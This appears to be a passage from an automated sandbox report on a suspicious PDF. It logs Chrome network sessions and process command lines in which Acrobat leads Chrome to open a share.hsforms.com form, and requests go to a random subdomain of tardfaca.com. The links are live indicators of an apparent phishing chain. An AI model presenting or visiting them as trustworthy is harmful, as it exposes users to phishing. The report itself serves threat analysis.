2024-12-16 17:46:23 UTC	889	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 17:46:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Gxpx9cs0yBiYazViJMulys3l6joxrbUgWg2iQ99XFyb6AFmf6D%2Bs1qDeu19JWkXQ4r6fysH%2BHvK7J9JOgbi1CBhlACXCiAO5Qjt3qC0e9hc%2F65DQCw6BWC4mP9SZEcR51cDVJ47T9mThS5pEU0j%2BwkWlOam7vl%2FK50HZACECsmpqg9OY93msJK2dH1YDFKfV778%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f307e14599e42eb-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1760&min_rtt=1751&rtt_var=674&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2827&recv_bytes=1248&delivery_rate=1601755&cwnd=211&unsent_bytes=0&cid=454022a0ce036212&ts=1264&x=0"
2024-12-16 17:46:23 UTC	6	IN	Data Raw: 31 0d 0a 31 0d 0a Data Ascii: 11
2024-12-16 17:46:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.17	49933	172.217.19.206	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:46:22 UTC	684	OUT	GET /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIkqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=520=HrYtdrM0ocqVOpFv6rS-xUWxklvWqyFMrnlWJ_IEN3XshI21pInUPRNGVfQjPDWDyGcm2gcnO5TbO7S9fFOW5s3y2A2oCjVQ_xaKqaUh36NiapAmgDZEDPNNTjm7rBTCsi2sIb8YMDp28Zox86S8eCnZNnQ6N839sY5nFdI4dI7HVzpNO0ltQEHY386SU8A
2024-12-16 17:46:23 UTC	270	IN	HTTP/1.1 400 Bad Request Date: Mon, 16 Dec 2024 17:46:23 GMT Content-Type: text/html; charset=UTF-8 Server: Playlog Content-Length: 1555 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-16 17:46:23 UTC	1120	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 30 20 28 42 61 64 20 52 65 71 75 65 73 74 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 400 (Bad Request)!!1</title> <style> *{margin:0;padding:0}html,code{font:15px/22px arial,sans-
2024-12-16 17:46:23 UTC	435	IN	Data Raw: 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 31 30 30 25 20 31 30 30 25 7d 7d 23 6c 6f 67 6f 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 68 65 69 67 68 74 3a 35 34 70 78 3b 77 69 64 74 68 3a 31 35 30 70 78 7d 0a 20 20 3c 2f 73 74 79 6c 65 3e 0a 20 20 3c 61 20 68 72 65 66 3d 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 3e 3c 73 70 61 6e Data Ascii: pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.google.com/><span

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.17	49938	172.217.19.206	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:46:25 UTC	684	OUT	GET /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIkqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=520=HrYtdrM0ocqVOpFv6rS-xUWxklvWqyFMrnlWJ_IEN3XshI21pInUPRNGVfQjPDWDyGcm2gcnO5TbO7S9fFOW5s3y2A2oCjVQ_xaKqaUh36NiapAmgDZEDPNNTjm7rBTCsi2sIb8YMDp28Zox86S8eCnZNnQ6N839sY5nFdI4dI7HVzpNO0ltQEHY386SU8A
2024-12-16 17:46:26 UTC	270	IN	HTTP/1.1 400 Bad Request Date: Mon, 16 Dec 2024 17:46:25 GMT Content-Type: text/html; charset=UTF-8 Server: Playlog Content-Length: 1555 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-16 17:46:26 UTC	1120	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 30 20 28 42 61 64 20 52 65 71 75 65 73 74 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 400 (Bad Request)!!1</title> <style> *{margin:0;padding:0}html,code{font:15px/22px arial,sans-
2024-12-16 17:46:26 UTC	435	IN	Data Raw: 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 31 30 30 25 20 31 30 30 25 7d 7d 23 6c 6f 67 6f 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 68 65 69 67 68 74 3a 35 34 70 78 3b 77 69 64 74 68 3a 31 35 30 70 78 7d 0a 20 20 3c 2f 73 74 79 6c 65 3e 0a 20 20 3c 61 20 68 72 65 66 3d 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 3e 3c 73 70 61 6e Data Ascii: pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.google.com/><span

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.17	49939	172.67.222.46	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:46:26 UTC	464	OUT	GET /14838110493951460639772zDuwQeQpDWANIGLPFGCHDRVKNQGYKXWUJMDPKOJKJUDETQNGDRBXOB HTTP/1.1 Host: i224tbuai42cde1lzenjhimnqfypy0xmafnry7iya5e5kgoffk.tardfaca.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-16 17:46:27 UTC	885	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 17:46:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KSKyp0fXOdT2XYWgwt2eL98lPjniI62JaBvrNdyWlIEbn6PKBtnD3nQbETn2bkcF%2BiCxxZuoYvrCHw0H22nzlC%2FE%2BD2qvqj1szCq2N7nrl1IjawPTe1JiHje1W38tvccEtaC4iiZ6U6ESb5KVrOLTL0ddYvsWeqbAxfIrU8VcJIqtMutxShf171uXnLSTJsi1dI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f307e2afa1978d0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1973&min_rtt=1968&rtt_var=748&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2827&recv_bytes=1042&delivery_rate=1454183&cwnd=144&unsent_bytes=0&cid=9c245e762293156a&ts=1114&x=0"
2024-12-16 17:46:27 UTC	6	IN	Data Raw: 31 0d 0a 31 0d 0a Data Ascii: 11
2024-12-16 17:46:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.17	49942	172.217.19.206	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:46:27 UTC	684	OUT	GET /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIkqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=520=HrYtdrM0ocqVOpFv6rS-xUWxklvWqyFMrnlWJ_IEN3XshI21pInUPRNGVfQjPDWDyGcm2gcnO5TbO7S9fFOW5s3y2A2oCjVQ_xaKqaUh36NiapAmgDZEDPNNTjm7rBTCsi2sIb8YMDp28Zox86S8eCnZNnQ6N839sY5nFdI4dI7HVzpNO0ltQEHY386SU8A
2024-12-16 17:46:28 UTC	270	IN	HTTP/1.1 400 Bad Request Date: Mon, 16 Dec 2024 17:46:28 GMT Content-Type: text/html; charset=UTF-8 Server: Playlog Content-Length: 1555 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-16 17:46:28 UTC	1120	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 30 20 28 42 61 64 20 52 65 71 75 65 73 74 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 400 (Bad Request)!!1</title> <style> *{margin:0;padding:0}html,code{font:15px/22px arial,sans-
2024-12-16 17:46:28 UTC	435	IN	Data Raw: 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 31 30 30 25 20 31 30 30 25 7d 7d 23 6c 6f 67 6f 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 68 65 69 67 68 74 3a 35 34 70 78 3b 77 69 64 74 68 3a 31 35 30 70 78 7d 0a 20 20 3c 2f 73 74 79 6c 65 3e 0a 20 20 3c 61 20 68 72 65 66 3d 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 3e 3c 73 70 61 6e Data Ascii: pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.google.com/><span

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.17	49970	172.217.19.206	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:46:36 UTC	673	OUT	GET /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIkqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=520=HrYtdrM0ocqVOpFv6rS-xUWxklvWqyFMrnlWJ_IEN3XshI21pInUPRNGVfQjPDWDyGcm2gcnO5TbO7S9fFOW5s3y2A2oCjVQ_xaKqaUh36NiapAmgDZEDPNNTjm7rBTCsi2sIb8YMDp28Zox86S8eCnZNnQ6N839sY5nFdI4dI7HVzpNO0ltQEHY386SU8A
2024-12-16 17:46:37 UTC	270	IN	HTTP/1.1 400 Bad Request Date: Mon, 16 Dec 2024 17:46:36 GMT Content-Type: text/html; charset=UTF-8 Server: Playlog Content-Length: 1555 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-16 17:46:37 UTC	1120	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 30 20 28 42 61 64 20 52 65 71 75 65 73 74 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 400 (Bad Request)!!1</title> <style> *{margin:0;padding:0}html,code{font:15px/22px arial,sans-
2024-12-16 17:46:37 UTC	435	IN	Data Raw: 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 31 30 30 25 20 31 30 30 25 7d 7d 23 6c 6f 67 6f 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 68 65 69 67 68 74 3a 35 34 70 78 3b 77 69 64 74 68 3a 31 35 30 70 78 7d 0a 20 20 3c 2f 73 74 79 6c 65 3e 0a 20 20 3c 61 20 68 72 65 66 3d 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 3e 3c 73 70 61 6e Data Ascii: pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.google.com/><span

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.17	49988	172.217.19.206	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:46:41 UTC	673	OUT	GET /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIkqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=520=HrYtdrM0ocqVOpFv6rS-xUWxklvWqyFMrnlWJ_IEN3XshI21pInUPRNGVfQjPDWDyGcm2gcnO5TbO7S9fFOW5s3y2A2oCjVQ_xaKqaUh36NiapAmgDZEDPNNTjm7rBTCsi2sIb8YMDp28Zox86S8eCnZNnQ6N839sY5nFdI4dI7HVzpNO0ltQEHY386SU8A
2024-12-16 17:46:42 UTC	270	IN	HTTP/1.1 400 Bad Request Date: Mon, 16 Dec 2024 17:46:42 GMT Content-Type: text/html; charset=UTF-8 Server: Playlog Content-Length: 1555 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-16 17:46:42 UTC	1120	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 30 20 28 42 61 64 20 52 65 71 75 65 73 74 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 400 (Bad Request)!!1</title> <style> *{margin:0;padding:0}html,code{font:15px/22px arial,sans-
2024-12-16 17:46:42 UTC	435	IN	Data Raw: 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 31 30 30 25 20 31 30 30 25 7d 7d 23 6c 6f 67 6f 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 68 65 69 67 68 74 3a 35 34 70 78 3b 77 69 64 74 68 3a 31 35 30 70 78 7d 0a 20 20 3c 2f 73 74 79 6c 65 3e 0a 20 20 3c 61 20 68 72 65 66 3d 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 3e 3c 73 70 61 6e Data Ascii: pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.google.com/><span

Target ID:	0
Start time:	12:44:31
Start date:	16/12/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\FINAL000035745873695487KHFKA.pdf"
Imagebase:	0x7ff6c24a0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	12:44:33
Start date:	16/12/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74cd70000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	12:44:34
Start date:	16/12/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2248 --field-trial-handle=1568,i,10484229223213725940,12747390876962115917,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74cd70000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	12:45:20
Start date:	16/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://share.hsforms.com/1CW530LkrS821BfbeHP3L2wsoxpw
Imagebase:	0x7ff7d6f10000
File size:	3'242'272 bytes
MD5 hash:	83395EAB5B03DEA9720F8D7AC0D15CAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	12:45:20
Start date:	16/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2144 --field-trial-handle=2076,i,9481928176101454276,10224142333723475719,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff7d6f10000
